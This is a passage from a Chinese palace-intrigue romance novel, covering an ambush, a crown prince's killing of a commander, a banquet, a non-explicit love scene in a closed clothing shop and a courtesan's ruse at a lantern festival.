殷戈止停了步子,四周的人顿时紧张,卫城将领道:“问那么多做什么?带你们去问罪,自然有问罪的地方。”
“如果没记错,护城军都尉赵大人还在软禁期间。”风月眨眼:“你们上头,还有谁能问魏国大皇子的罪啊?”
“……”卫城将领回答不上来,眼神慌张得很,额头上甚至都出了汗,看起来很是没有底气。
这样的表情,是个人都知道有问题,不能跟他们走。然而殷戈止竟然若无其事地道:“继续带路。”
看他一眼,风月笑着,用眼神道:您要找幕后之人,自己去就好了,奴家不想去。
殷戈止淡然回视:一条船上的人。
我呸!就算是一条船上的,也不能拉着她一起跳海啊,他会水,她又不会!到时候出什么意外,倒霉的不全是她嘛?
看了看她这贪生怕死的小人模样,殷戈止深情地搂住了她的腰,低声道:“别怕,有我。”
有你才更可怕好吗!风月撇嘴,只觉得腰上的手硬如钢铁,压根没办法挣脱,于是还是认命了。
一群人围着他们到了个镖局,二话没说就让他们进去,关上了门。
镖局的院子里四处都是兵器,也站满了穿着盔甲的人。台阶上头,有人带着铁质的面具,看着他们一步步走过去。
“周大人。”殷戈止道:“请在下来此,可是有事?”
周臻善一愣,伸手摸了摸自己脸上的面具,惊愕地道:“你怎么知道是我?”
“赵大人被囚,能调动护城军的,自然只有您这位护城军统领。”殷戈止道:“就是
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不知大人有何吩咐?”
风月看得直摇头,心想这也太好诈了,一诈就露馅,果然不是每个武夫都像殷戈止这样老奸巨猾的。
“……话说到这个份上,那也没退路了。”长长地叹了口气,周臻善道:“你与赵麟无冤无仇,何必非咬着他不放?他也曾是易大将军的左膀右臂,你既然那般尊敬易将军,那何不高抬贵手?”
先兵后礼,这一套殷戈止是不吃的,抬眼看了他一会儿,直接道:“太子吩咐,不是他死,就是我被囚。关乎自己利益,在下顾不得其他。”
他这是在撒谎,太子哪里舍得囚他?不过风月知道,眼下这情形,为了避免对方一直拿易大将军施压,也只能这么说了。
果然,周臻善再也打不了什么人情牌,毕竟人情是人情,危及自身了,那谁的人情都不该给。
于是他直接道:“那就得罪了。”
不肯放过赵麟?没关系啊,杀了殷戈止,太子一时间肯定无暇顾及其他,那赵麟之事,定然能有回旋的余地。
他在这镖局之中布下天罗地网,今日殷大皇子死在这里,外头绝对不会有人知道,更不可能有人来救他。
周围杀气顿起,殷戈止叹息,低头看着风月道:“这些人为什么总是喜欢动刀动枪的?”
干笑两声,风月直往他怀里缩:“奴家一介女流,就靠您多护着了。”
有眼力劲儿,知道他怀里是最安全的地方。殷戈止突然觉得风月真是很省心,一点也不给他添乱,不像易掌珠。
他很清楚地记得,有一次易掌珠与他外出,遇见贼人,她第一反应就是扭头跑,横冲直撞地往人家刀口下头送,被绑了吧,还一直喊他救命,他想装作不在意她,都被易大小姐搅合得一塌糊涂。
最后,他负了伤才保了两个人的命,易掌珠还一直怪他,说他说了狠心的话,不顾她性命。
同样是女人,差别为什么这么大呢?
想着想着就勾了唇,殷戈止抬眼,搂紧怀里的人,语气愉悦地朝前头道:“请多指教。”
前头举着大刀的士兵猛地就扑了过来,与此同时,院子里机**皆动,破空之声不绝于耳!
这场景实在很可怕,然而风月闭着眼躲在人怀里,啥也不知道,特别安心。
穿着盔甲的士兵可没有那么好杀,穿梭在箭雨刀枪之间,殷戈止难得地表情凝重,看一眼周臻善,越过面前的阻拦,就直冲他而去!
周臻善没反应过来,自己面前明明有三层护卫,怎么就突然被人抓到了手里,脖子上还横了一把长剑?
“我死可以。”殷戈止道:“周大人陪葬如何?”
好一招擒贼先擒王!风月忍不住伸出爪子鼓了鼓掌。
周臻善脸色很难看,眼珠子乱转着,犹豫不决。殷戈止很有耐性地等着,却不曾想,镖局的大门“呯”地一声被推开,更多穿着盔甲的人冲了进来。
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第62章 两只狐狸鸣翠柳
看清楚为首之人,周臻善眼里猛地迸发出希望之光:“太子殿下!”
风月顺着看过去,就见叶御卿捏着扇子,神色凝重地朝这头而来,后头的禁军将院子里所有的人尽数钳制,一场杀戮就这样戛然而止。
“殿下。”走到殷戈止身边,叶御卿问:“出了何事?”
“您瞧这满院的杀戮,难道看不出来?”殷戈止淡然地道:“不过周大人有些失算,竟然让太子殿下得到了消息赶来,就算能杀了戈止,恐怕也免不得株连九族。”
周臻善也不知道太子怎么会来这里,不过眼下自己性命垂危,实在顾不得许多,张口就道:“殿下,卑职岂敢有此等想法!分明是殷殿下满身杀戮,还不接受卑职审问,妄图杀了卑职……您看,剑还横在卑职脖子上呢!”
叶御卿挑眉,正想再问,却听得旁边的风月“呸”了一声。
“当官的说话都这样不要脸的?先前分明是你说要殷殿下不管赵麟之事,他没同意,你直接就让这满院子的士兵**,还用暗器!现在事情败露,竟然反咬一口?”
蹦蹦跳跳的红裙子,很是愤怒的模样,看得叶御卿忍不住轻笑了一声。
这么严肃的场面,太子殿下还能笑?周臻善不敢置信地看了他一眼:“殿下,您先救卑职啊!”
“稍安勿躁,先把这院子里的乱贼都押下去吧。”叶御卿回头。
下头的禁卫齐刷刷地应了一声:“是。”然后就手脚麻利地将周臻善的人给带了出去。
“本宫有一事不解,还望周大人赐教。”转眼看着他,叶御卿温和地问:“您怎么敢这般对魏国的皇子?”
额头上冒了冷汗,周臻善眼珠子乱转,吞吞吐吐地道:“卑职……”
“他以为我死在这地方,不会有人发现。”殷戈止道:“这镖局四周无人,若是今日在下不幸当真中计,尸首就可以直接运送出城,旁人找都找不到。”
脸色一白,周臻善的眼里终于出现了恐惧,看了看殷戈止,身子微微发抖。
这个人……这个人怎么什么都知道啊?
“哦?”转身环顾四周,叶御卿恍然点头:“原来如此,倒是准备周全。”
说着,走到周臻善身边,伸手捏着殷戈止的剑尖,笑道:“到底是朝廷重臣,殿下手下留情啊。”
风月皱眉:“太子殿下,您要放虎归山?”
周臻善今日要是得逃,以后遇见殷戈止,那肯定是一刀捅他心口,绝对不废话也不犹豫。留此大患,还让不让人睡安稳觉了?
殷戈止倒是没异议,缓缓地将剑拿开。
周臻善松了一大口气,站在叶御卿身边,惊恐地看着殷戈止,然后小声道:“太子殿下,此人武功实在高强,您身份贵重,也该多当心他才是。”
“当心他做什么?”笑得灿烂如骄阳,叶御卿展开扇子,看着他道:“本宫可舍不得杀他。”
尴尬地笑了笑,周臻善低头,心想不管怎么样吧,今日他这小命算是保住……
还没想完,心口就是一凉。
有那么一瞬间,周臻善觉得自己今天是在做一场噩梦,好不容易从一场梦厄里醒过来,又掉进了另一场。
他不敢呼吸,也不敢去感觉自己的心口,只觉得有鲜血喷涌而出,湿了旁边这人绣四爪银龙暗纹的锦袍。
风月看傻了眼。
叶御卿依旧是笑着的,只是眼里神色冷冽如冰,手里的**尽数没在周臻善的心口,他的语气却还是那般温柔:“舍不得杀他,那就杀你吧,总不能让墙角里那些准备好了的箱子派不上用场。”
“太……太子……”眼里满是不甘,周臻善挣扎着道:“卑职……是护城军统领!”
他可是统领啊,这护城军皆归他管,他一死,岂不大乱?
“护城军统领是个好位置。”叶御卿笑道:“本宫会替大人善后的,不必多虑。”
说着,手上猛地用力,风月都能听见血肉迸裂的声音。周臻善瞳孔一缩,接着便目光涣散,倒了下去。
鲜血遍地,殷戈止嫌弃地搂着她退后一步,道:“殿下真是心狠手辣。”
风月跟着点头,点完才发现不对劲,哆哆嗦嗦地侧头看他一眼。
您哪来的立场说人家心狠手辣啊?!
拿出帕子擦了擦手和衣襟,叶御卿勾唇:“以他之道,还施他身罢了。既然这局都已经设好,咱们不用也是浪费。”
外头有禁卫进来,叶御卿吩咐了一声,那人便麻利地将周臻善的尸体装进镖局的箱子,而后将地上的血迹打扫了个干净。
“哎呀呀,这可真是,还以为风月只是求救,谁知道还给本宫送这么一个大礼。”转头看向风月,叶御卿摇着扇子就笑:“真是惊喜。”
嘴角抽了抽,风月朝他屈膝:“功不敢乱邀,奴家当真只是因为被抓,求救而已。”
在梦回楼的时候她就将太子上次给的印信塞到金妈妈手里了。金妈妈聪明,自然会搬救兵,只是中途耽误得久,叶御卿过来的时候,都是这第二道鬼门关了。
要不是殷戈止,她今儿早死两回了。
看她一眼,殷戈止淡淡地道:“在下还疑惑太子从何而来,原来是来英雄救美,与在下无关。”
“哎,话不能这样说。”叶御卿走过来,站在殷戈止面前道:“能同生共死就是缘分,既然有缘,咱们不如一起去用个午膳?”
风月呵呵笑着,心想不愧是皇室中人啊,睁着眼睛说瞎话的本事就是高超,丫分明就是来收了个尾,同生是生了,哪里就共**?
殷戈止垂眸,心理活动跟风月差不多,却还是应道:“好。”
两个满手鲜血的人,互相彬彬有礼地拱手,然后便齐齐地往外走。
风月很不想跟着去,这豺狼对虎豹,她命这么薄,肯定是不围观最好。然而,这两个人走了两步,都转过头来看了她一眼。
恩客都走了,你留在这儿干啥?
换上谄媚的笑意,风月提着裙子就风情万种地扭上去,挂在殷戈止的胳膊上,做一个美丽的花瓶。
不过,这两人走路也不说话,实在尴尬,于是花瓶还得张口调节气氛:“殿下怎么知
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道咱们在这儿的?”
叶御卿笑道:“路上一打听,不少人都指路,说一群人围着一男一女往这镖局而来。能闹出这么大动静的,可不只有你们了么?”
想想也是,那阵仗,走再偏僻的路过来,定然也会有不少目击者。
“咱们去哪儿用膳?”
“望乡楼。”叶御卿道:“不阴城第一高楼,上头的酒菜不错。”
看他一眼,殷戈止道:“殿下这样的身份,总在民间游荡,略有不妥。”
“此话,司马宗正已经在本宫的耳边念了八百回了。”无奈地摸了摸鼻梁,叶御卿叹息:“可本宫觉得,君立于民,总不能独居宫中而治,不闻百姓疾苦。父皇多病,那只有本宫为君分忧,多在民间走动了。”
风月看着他,好奇地问了一句:“不阴城这般不安全,殷殿下都频频遭**杀,殿下当真不为自己的周全考虑?”
看她一眼,殷戈止没吭声。
叶御卿摇着扇子笑得镇定自若:“既然敢出来,自然是带足了人手。”
瞧着殷戈止的表情,风月恍然大悟。
要是能宰了他,那殷戈止肯定会动手,但他都不能动手的话,那就说明,叶御卿身边的护卫十分恐怖。
嘿嘿笑了两声,风月道:“奴家想吃烧鸡。”
“好。”颔首应她,叶御卿引着二人到了地方,进了个厢房,点了菜便关上了门。
“护城军统领失踪,都尉获罪。”轻轻敲着桌子,叶御卿道:“殿下觉得,这两个位置上,放什么人最为合适?”
明知故问啊,风月低头喝茶,心想又到了两只狐狸鸣翠柳,一串心计上青天的时候了。
殷戈止不动声色,颇有闲人气质,淡淡地道:“贵国之事,在下不宜插手。”
“只是建议而已,权当你我朋友谈心。”
谁他奶奶的谈心谈国家大事啊?风月撇嘴,夹了一块冷盘上的肉,塞进嘴里闷头嚼。
殷戈止道:“既然正统领没了,那副统领升职,合情合理。都尉之职,朝中也有不少青年才俊。”
怎么套这人都不上钩啊,叶御卿微恼:“殿下就没想过为自己的徒儿谋些好处?”
“我能收他们为徒,就是他们的好处。”目光平静地看着他,殷戈止道:“至于其他的东西,他们有本事就自己争,没本事,那就接着等。”
你来我往的,话都是绕着弯子吐出来。风月低着头撇嘴。
桌上这两人,一个想引诱对方欠自己人情,一个置身事外想让对方自己跳坑,都不是什么省油的灯。跟他们吃饭,会不会消化不好啊?
“风月,你觉得呢?”
正想着呢,叶御卿就笑眯眯地问了她一句。
一口水呛在喉咙里,风月抬头就装傻大姐:“啊?”
“你应该也见过安家少爷和徐家公子。”叶御卿道:“你觉得他们如何?”
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第63章 我订的衣裳
我觉得你们男人说事情还得把我个弱女子牵扯进去实在是丧心病狂!
风月很想这么说,然而她没这个胆子,眨巴着眼看了看叶御卿,又看了看旁边的殷戈止,最后她还是傻笑:“奴家觉得,安家少爷和徐家公子,都是相貌堂堂,玉树临风!”
喝茶的手微微一顿,殷戈止难得看她的眼神里没带嫌弃,反而带了点赞赏。
叶御卿哈哈大笑,边笑边摇头:“谁问你长相了?”
“问别的,奴家也不知道啊。”扁扁嘴,风月一脸无辜。
这单纯耿直的回答,倒让他不知怎么接。叶御卿叹息,看了看对面那稳如泰山的人,最后还是只得自己开口:“本宫是觉得这两人颇有潜质,又是殿下的徒儿,若是委以重任,必定不会辜负本宫期望。”
殷戈止道:“殿下三思,此二人在下尚且无法管教服帖,恐怕不是轻易肯依附之人。”
“瞧你这话说的。”叶御卿摇头:“本宫选人,自然是为保家卫国,谁要他们依附?”
他会瞎说,他就不会吗?安世冲和徐怀祖分明是对他言听计从,还无法管教服帖?当他三岁小孩儿呢!
至于依附不依附的,师父在他这边,那徒弟肯定跑不远。
“殿下决定吧。”殷戈止道。
“好。”合扇而笑,叶御卿转头让人上菜上酒,风月早就饿了,一看见菜上来,就眼巴巴地盯着叶御卿。
桌上尊者先动筷,其余人后动。
叶御卿没注意她,只盯着外头感叹:“大雨将至,整个不阴城一片迷蒙之色,看得人心生凄惶。”
殷戈止道:“殿下居高处,顶庙宇,踩金履,有何可忧?”
长出一口气,叶御卿忧国忧民地道:“本宫居高,四海却低。有人贪念太过,殃及无辜,牵扯人命,这腥风血雨,不知几时能休。”
“殿下将来会是个体谅百姓的明君。”
“过奖,父皇尚安在,本宫不过是尽己之力,但求天下安稳罢了。”
这对话若是被文人听见,大概是要写三万字的颂章,将叶御卿从头发丝儿吹捧到指甲盖。这个小小的厢房,因为这两座大佛的存在,也仿佛被镀上了一层金光。
然而,风月还是很饿,忍无可忍之下,终于小声开口:“不好意思,打断二位一下,菜要凉了。”
从大义大忠的情绪里**,叶御卿看向她,忍不住笑了,提筷便夹了菜放在碗里,然后问:“饿了?”
没吭声,等殷戈止也下筷之后,风月直接用行动回答了他:饿疯了!
一大桌子菜,什么东西都有,她吃得那叫一个风卷残云片甲不留!
叶御卿还好,本来在宫外就不怎么吃东西,但殷大皇子还想吃呢,结果刚朝烧鸡伸个筷子,“刷刷刷”一阵残影,鸡全剩了骨头。再看一眼鸽子汤,好家伙,肉全卷进了风月的嘴里。好不容易动作快点夹着个炒蛋,旁边那筷子“咻”地一下就飞过来,惊得他东西都脱了筷。
深吸一口气,殷戈止放了筷子,侧头看着风月:“你是几辈子没吃过东西了?”
狼吞虎咽之中,风月口齿不清地道:“奴家这是帮二位殿下试菜呢,嗯!这个鸡蛋没毒!”
废话,都被她吃完了,有毒也进不了他们的嘴里啊!
本来也不是很饿,但是不知道为什么,看她吃这么欢,殷戈止头一回觉得馋了,忍不住就叫了店小二,再添几个菜。
心疼地看着风月,叶御卿道:“殿下可是饿着她了?”
殷戈止面无表情地摇头:“与在下无关,她在寒舍一顿也吃得不少。”
岂止是不少,简直比猪吃得还多!
饶有趣味地看着风月,叶御卿道:“吃得多是福气,看着她这胃口,本宫都觉得饿了。”
一桌子残羹剩饭换下去,又端上来一桌新的,风月吃爽了,终于想起了还有个东西叫“矜持”,于是捏了帕子出来笑呵呵地掩唇道:“这家菜味道的确是不错,奴家全部试过了,两位殿下现在可以放心品尝,有什么问题,也是奴家先遭殃。”
为什么能把控制不住自己嘴馋的行为,说得这么大义凛然呢?嫌弃地看她一眼,殷戈止抿唇,重新拿起筷子,头一次认认真真地吃了两碗饭。
叶御卿也放了筷子,优雅地品尝起菜色,末了颔首:“当真是味道不错,价钱也公道,怪不得起了十层楼,实乃民间酒楼之表率。”
“殿下所言甚是。”殷戈止道:“不如题个字放在这里吧。”
风月挑眉,心想原来殷大皇子无聊起来也会做这种跟自己半点关系也没有的事情啊,大概是劫后余生,心情不错?
但是,等太子提完字,掌柜的千恩万谢的时候,她才想起来一件事。
他奶奶的,这望乡楼幕后的大东家,可不就是殷戈止吗!挂在另一个暗卫名下的,干将还特意提过,说这一处生意最好。
被蒙在鼓里的太子殿下什么也不知道,提完字用完印,兴高采烈地就拉着殷戈止,让他去成衣店里换身衣裳,然后去校场看看两家少爷。
跟在他们后头,风月连连摇头,单纯太单纯,殷戈止这种人,绝对不会花力气做对他自个儿没好处的事情!
“风月。”
“啊?”回过神,她抬头,就看见叶御卿指了一件成衣店里挂着的胭脂色的袍子,笑道:“这件应该很衬你。”
更完衣出来的殷戈止看了一眼,眼里也有赞同之色。
反正是陪大爷们逛,她又不用给钱!这么一想,风月笑眯眯地就拿着衣裳进去换了。
这店铺大概是因为衣裳贵,前堂里除了他们就没别人了,于是叶御卿也就开口道:“赵麟一案,朝中众多重臣向本宫求情,父皇的意思,是要顺众意。”
“那殿下之意呢?”殷戈止眼也不抬地问。
“官是有众。”叶御卿微笑:“民之众,则更广矣。”
赵麟**之事已经传遍整个不阴城,百姓之中,不乏有受过其府上之人蛮横欺压者。只要制造汹汹**,那重臣再重,也重不过天下百姓。
殷戈止颔首:“殿下英明。
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”
正说着呢,门外冷不防传来一声娇喊:“殷哥哥,殿下!”
前堂里两个人都是一怔,下意识地齐齐转身面对门口。
易掌珠惊喜地看着他们道:“你们怎么会在这儿?也来买衣裳吗?”
想起掌珠不太待见风月,叶御卿生硬地笑:“是啊,路上偶遇殷殿下,便一同来买件衣裳。”
“嗯。”殷戈止配合地点头。
易掌珠有点惊讶,左右看了看他们,道:“没想到你们关系变得如此亲密。”
还一起逛街?
“不过正好啊,掌珠也想买点衣裳,你们不如来替我看看?”揉了揉帕子,易掌珠欢喜地在铺子里挑选起来。
看了一眼店铺里唯一的一处更衣之所,叶御卿笑着拦住易掌珠:“先去别家看看吧?这家咱们看过了,没什么好看的。”
“不会啊,我先前还订了一套胭脂色的袍子,很好看的。”易掌珠边找边道:“掌柜的,挂哪儿了?”
尴尬地笑了笑,掌柜的看了一眼叶御卿,后者使劲摇了摇头,于是他只能硬着头皮道:“还没到货呢,小姐不如再等一天?”
“不是说好的今日到吗?”易掌珠皱眉,叹息了一声,正想说算了,再等等也可以,结果就感觉大堂里微微一亮。
啥也不知道的风月穿好了袍子,东扯扯西扯扯地出来,低着头嘀咕道:“这裙子也太复杂了些,像是礼服,根本不能作常服啊。”
说时迟那时快,殷戈止反应极快,飞身过去一把就将风月扑回了更衣的隔间!
易掌珠回头,就只看见一片儿胭脂色的袍子,忍不住皱眉:“方才是谁在说话?”
叶御卿拉着她就往外走:“没谁,不过既然袍子还没到,那咱们去别的地方看看?”
甩开他的手,易掌珠皱眉看了铺子里一眼:“殿下当珠儿是傻的吗?是不是有人穿了我订的袍子?”
“没有没有。”掌柜的连忙道:“刚刚那姑娘穿的是杏红色的裙子。”
她眼花了?扫了那隔间一眼,易掌珠问:“殷哥哥呢?”
“他有事先走了。”
走得还挺快啊?易掌珠撇嘴,心情突然不太好,便道:“不在这儿看了,太子哥哥,今晚有花灯会,您陪珠儿去瞧瞧么?”
外头站着的冯闯闻言,连忙拱手:“易小姐,殿下黄昏之前必须回宫。”
“春末夏初了,三个月一次的花灯会,太子哥哥都不陪珠儿?”易掌珠撇嘴:“大不了跟皇后娘娘回禀,就说是珠儿强留了太子哥哥。”
话说到这个份上了,叶御卿也不好推辞,点头道:“好,那本宫先陪你四处走走,等到了时候,就去看花灯。”
“嗯!”这才笑了,易掌珠拉着叶御卿就往外走。
成衣铺的隔间里,殷戈止低头看着抵在墙上这人,眼神微微有点炙热。
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第64章 换季花灯
这件衣裳美艳绝伦,海棠花从肩膀开到了衣摆,齐襟的领子露出一片儿雪白的肩,大红的丝缎儿从胸前勒着的带子上一路垂下去,绵延在她半弯着的膝盖上。
这隔间不大,有些闷热,风月清晰地看见眼前这人的喉结上下动了动。
“外头出什么事了?”嘿嘿笑了一声,她开口打破了诡异的气氛。
垂着眼看她,殷戈止轻声道:“你穿的是易大小姐订的衣裳,她方才就在外头。”
一阵凉意直冲背心,风月打了个寒颤,连忙道:“那奴家马上换下来。”
“嗯。”殷戈止点头,然后伸手,很是熟练地扯开她胸前的绳结。
风月愕然,转头看了看这周围,又看了看面前这人长长的睫毛。
噫,男人的睫毛怎么能这么长!平时还没发觉,凑近了才看见,比她的睫毛还好看?
不,这不是重点!重点是这是外头啊,人家还要做生意的!
一个激灵回过神,风月连忙去压他的手,后者却见招拆招,打太极似的将她的双手钳制得死死的,然后低头就咬开那薄薄的衣襟。
“公子。”风月一脸严肃,眼睛往那没有门栓的门上扫着,声音微微发颤:“虽然奴家不要脸,但您这身份,不能也不要脸啊!”
“嗯。”殷戈止点头,下巴轻轻蹭着她脖颈,然后张口,跟狗一样地咬她!
轻轻“嘶”了一声,风月眼泪都要出来了:“要脸就不要在这里啊!”
“他们马上就打烊了。”
大白天的,外头在街上晃悠的人那么多,做生意的打什么烊?骗鬼呢!她挣扎起来,躲着他这作恶的手,气得脸颊一鼓一鼓的。
眼里染了点笑意,殷戈止抬头,张口就含住她的唇瓣。
耳鬓厮磨,风月一张口就会被他堵回去,伸手就被他十指相扣,抬腿就被他以腿压腿,综合各个方面的战斗力来看,她无疑是完败。
悲愤不已之时,外头传来了掌柜的吩咐伙计的声音:“时候不早了,关门吧,咱们去酒楼吃饭。”
“好嘞!”伙计高兴地应着,然后就一块块地把门抬出来拼着关上。
风月傻眼了,都忘记了抵抗,听着的动静,瞪眼看了看面前的人。
“您……”
“他们自己觉得该关了,与我没什么关系。”
身子被他裹着衣裳一起抱起来,风月呆呆地想,怎么就这么巧呢?
背后一片冰凉,风月想,这大堂里的桌子也不错啊,竟然是沉香木的。
衣裳都散开,有人覆上来,炙热的身子烫得她一个激灵。
等等?等等!回过神看着身上的人,风月抵着他胸口就道:“您不是嫌奴家脏吗?”
动作微微一顿,殷戈止低头,在她唇上狠狠咬了一口。
痛得嗷嗷直叫,她扁嘴:“话是您自己说的啊,说以后不要奴家伺候了。这会儿……这个样子……对吧?万一脏了您的身子,事后是不是还得找奴家算账?”
心口莫名一疼,殷戈止微恼:“你这张嘴,能不能说点好的?”
“好的是什么?”歪着脑袋看着他,风月笑靥如花:“奴家不太明白。”
略微有些狼狈,殷戈止不吭声了,直接以行动回应她。
不阴城里最热闹的长宁街上,一家位置极好的成衣铺却关着门,来往的百姓都奇怪地往这边看上一眼,想着掌柜的是不是有什么事,这个时候不做生意?
街上车水马龙,人声鼎沸,隔着一块门板,里头却是香风暖暖,春光霭霭。
大概是外头的声音太刺激了,这一番倒是比以往都更激烈,殷大皇子将自己说过的话吃了回去,并且一点都不觉得羞愧。
风月抿唇,她觉得很奇怪,这人分明什么都没说,四周也是一片黑暗,压根看不清他的表情,但她仿佛感受到了他的歉意。
什么玩意儿?歉意还能这么传达的?!
不过,能重新接受她,那就是好事,她没法儿跟他说什么委屈不委屈,公平不公平,本也不是一个地位上的人,本也不是在痴什么儿女情长。
这位爷高兴就好。
黄昏时分,街上更是热闹,成衣铺的门被人打开,有两人若无其事地从里头出来,融入了熙攘的人群。
换了一身浅色的衣裳,风月叹息:“您可真是会选地方。”
刚好他们需要换衣裳,刚好店里全是衣裳。
面无表情地走在她旁边,殷大皇子心情不错,难得地没有呛她两句,只看着四周挂灯的百姓,问了一句:“这是什么?”
作为在吴国待了三年的老前辈,风月立马解释:“花灯节,每个季节更换的时候就会举行一次,说是为了祈福,愿下个季节无天灾。”
魏国也有花灯节,但花灯是各种不同形状的,并且每年只有一次。吴国的花灯却都是一个荷花样式,有挂在屋檐下头的,有提在手里的,也有在河里飘着的。
“您想看看吗?”风月问。
嫌弃地摇头,殷戈止道:“我要回去了。”
“那慢走啊。”甩着手帕就朝他挥了挥,风月道:“奴家留着看一会儿。”
殷戈止:“……”
上下扫她两眼,他道:“你一个人看?”
“一个人看,看着看着就会变成两个人的,您完全不用担心奴家。”眼睛盯着人群里某一处,风月道:“奴家晚上会回去的。”
谁在意她回来不回来?殷戈止皱眉,想留下吧,似乎太给她脸了。想回去吧……这个时候回去做什么?
气闷地想了一会儿,殷大皇子转身就去了旁边的茶楼。
朝他的背影行了礼,风月扭头就拨开人群,去了那边卖花灯的小摊儿边。
“老板娘,买个花灯。”
和善的老板娘看了她一眼,从摊子下头取出个灯来给她:“姑娘好眼色啊,拿着这花灯,更是光彩照人,定然能得个好夫婿。”
“借您吉言。”笑着点头,风月递了铜板过去,接了花灯并着一张压在花灯底部的纸条。
老板娘掩唇一笑,指了指人群那头,道:“今儿人可不少呢,您不如去那边看看?”
“好。”风
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月应了,捧着花灯走着,手拆开纸条,趁着人群拥挤,飞快地看了一眼,然后便撕碎了,零零散散地洒在地上。
“瞧瞧,今年的姑娘还真是一个比一个的水灵。”河边站着的行人笑谈道:“皇上要是再选秀,这一条河半数的姑娘,怕都是要封妃。”
“花灯节好啊,不少闺阁小姐都出来了,平时可是看不见的,多看两眼吧。”
吴国的花灯节,不知从哪一年起,因着赏灯的美貌姑娘多,吴国男儿就养成了赏灯赏美人的习惯,不少高门之人也微服乔装,混迹百姓之中,看一看民间绝色,要是有喜欢的,说不定就带回家成了姨娘。
为此,来花灯节的姑娘们都是盛装打扮,不管想不想做人姨娘,也都要将自己的容颜放在人前晾晾,若是追求者甚多,将来要选夫婿,媒婆也能有个说辞。
风月从人群里穿梭而过,走到河边,看了一眼满河的花灯,脸上露出为难之色。
“这位姑娘,可是忘记带火折子了?”旁边立马有人笑道:“在下带了,姑娘可要用用?”
一听这话,不少人抬头往这边看,只一眼,就纷纷惊叹:“这个倒是比那些都好看!”
于是没一会儿,风月周围都围了不少的人,动静挺大,旁边茶铺里坐着喝茶的人也看了过来。
人群包围之中的姑娘显得有些慌张,小声说着什么摇着头,但四周的男子却没有想让她走的意思,起哄的示爱的,将那姑娘弄得面红耳赤。
眯眼看了看,冷严道:“还真是没见过的好颜色。”
旁边的随从连忙道:“您要是喜欢,那小的请她来喝会儿茶?”
见他没反对,随从跑得飞快,径直推开周围的小伙子,朝着风月拱手:“姑娘,我家大人在旁边的茶肆,敢问姑娘可要喝杯茶?”
感激地看他一眼,风月点头:“好啊。”
四周的人都不太高兴,可看一眼这随从穿的料子,也没敢多说话,恋恋不舍地四散开去。
进了茶肆,风月先就朝坐着的人行礼,十分端庄地道:“谢大人解围之恩。”
福礼标准,衣裳料子也好,一看就是好人家的小姐。冷严微笑,示意她坐下:“萍水相逢就是有缘,姑娘可愿赏脸?”
犹豫了片刻,风月揉着帕子道:“小女子跟丫鬟走散了,待会儿要早些回家的,大人之恩,小女子铭记于心。”
家里管得还挺严?冷严更有兴趣了,放下杯子盯着她看了一会儿,道:“敢问姑娘家住何处?”
诧异地看他一眼,良家妇女风月回忆了一下易大小姐的风姿,立马强行羞红了脸,然后小声道:“大人问这个做什么?”
似嗔似慌,声音软绵绵的,听得冷严很是受用。毕竟是而立之年就稳坐太仆之位的人,自认为英雄就该难过美人关,所以遇见美人,当下也就不防备了,打趣道:“小姐这样的绝色,府上定然是钟灵毓秀之所,我想去看看,沾点儿仙气儿。”
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第65章 吓唬人
你说要是殷戈止或者叶御卿那种相貌堂堂的人说这种话,那会觉得人家风流幽默,但是面前这位……眼角下垂,眼袋深厚,声音里都透着一股虚,一看就是纵欲过度之人,吐出这样的句子,连隔壁喝茶的路人都觉得猥琐,忍不住用担忧的目光看了风月一眼。
多单纯无辜的姑娘啊,怎么被这种人看上了?
单纯无辜的姑娘眨了眨眼,咬着嘴唇揉着帕子小声道:“小女子家住安居街,不是什么大门大户,大人不必在意。”
安居街?那起码都是有点身份的人。冷严这个人就不喜欢那种没身份倒贴上来的风尘女子,他自认为眼光很毒,只喜欢规规矩矩的贵门之女。
这一点,方才卖花灯的那人已经写在纸条上给风月了。
于是风月坐得那叫一个正经啊,就差把良家妇女四个字给顶头上了,端茶起来喝都翘了个兰花指,翘得冷严分外满意。
“既然如此,那姑娘不妨同我一起去走走?”看了一眼她的花灯,冷严伸手就拿了火折子给她点上,眼神分外高冷,带着傲慢和自负,施恩似的对她说了这么一句。
侧头翻了个白眼,风月转脸笑得温柔:“好,外头人多,有大人在的话,自然是最好。”
想起方才她被人围着的样子,冷严更是兴奋,带着她便炫耀似的往人多的地方走。
“大人瞧着有些面熟。”风月道:“咱们是不是在哪儿见过啊?”
“要是见过你,我一定不会忘记。”高扬着下巴,冷严说着,又想了想,道:“不过兴许是什么宴席上,我没注意也不一定。”
“您这样一说,小女子倒是想起来了。”表情惊讶地掩唇,风月道:“您是太仆大人吧?李太师的寿宴上,好像见过您一面。”
“哦?”冷严笑了:“那你的身份倒是不低,连太师的寿宴都接了邀请。”
莞尔一笑,风月道:“您好像挺在意女子的身份的。”
“那是自然。”冷严道:“我而立之年还未立正室,就是没有找到身份合适的女子。那些个想高攀我的,我是一个也看不上。本来对奉常家的嫡女有些兴趣,谁知道那女人爱慕虚荣,进宫去了,哼,她那模样,进宫能有什么好日子过?”
风月挑眉:“您想娶个比您身份高的人家的女儿?”
“那是自然。”冷严道:“不然我凭什么给她正室之位?”
说着,看了风月一眼,缓和了语气道:“你长得很美,比那奉常家的女儿美了十倍不止,就算身份没她尊贵,我也可以纳你为妾。”
听这语气,她是不是还得谢个恩呐?风月失笑,手捏帕子按着眉梢,挡着脸翻了个白眼。
依她以前的脾气,遇见这种人,是肯定先揍一顿再说的!口口声声人家高攀他,自个儿不是也想高攀女人吗?这种人都能当太仆,吴国朝廷是没人了还是怎么的?
不过现在,没了能揍人的本事,她还是得一脸感动地道:“谢大人,不过大人,恕小女子直言,您可得当心些。”
“嗯?”冷严满不在乎地道:“我有什么好担心的?”
叹息一声,风月道:“小女子在家里听见过不少关于您的事情,眼下那魏国质子手握闻风令,查得正严,您可别也陷进去了。”
一听这话,冷严神色大变,抓着她就走到旁边人少的地方去,皱眉问:“你连闻风令都知道?”
“小女子不才,家父在朝中就职,官职不低,故而家中消息也很灵通。”端庄地颔首,风月道:“在此提醒大人,也不过是希望大人平顺,莫陷纷争。”
眼神微动,冷严想了好一会儿,突然一震:“你难道……是廷尉家的?”
他记得赵廷尉家有个美貌的女儿,先前还有人议论过,说是送进宫一定能得宠。难不成他今日运气这么好,竟然刚好碰着了?
微微一笑,风月眼神深邃,没直说,只朝他颔首:“代家父问大人安了。”
廷尉和太仆同是九卿,官职上是平起平坐的,但廷尉手里的权力可比他这个管马的**多了,加上赵廷尉一向受人赞颂,他的女儿,怎么也能当个正室啊。
一想到这个,冷严终于正经起来,朝风月回礼之后,严肃地问:“有人去廷尉那里告我的状了?”
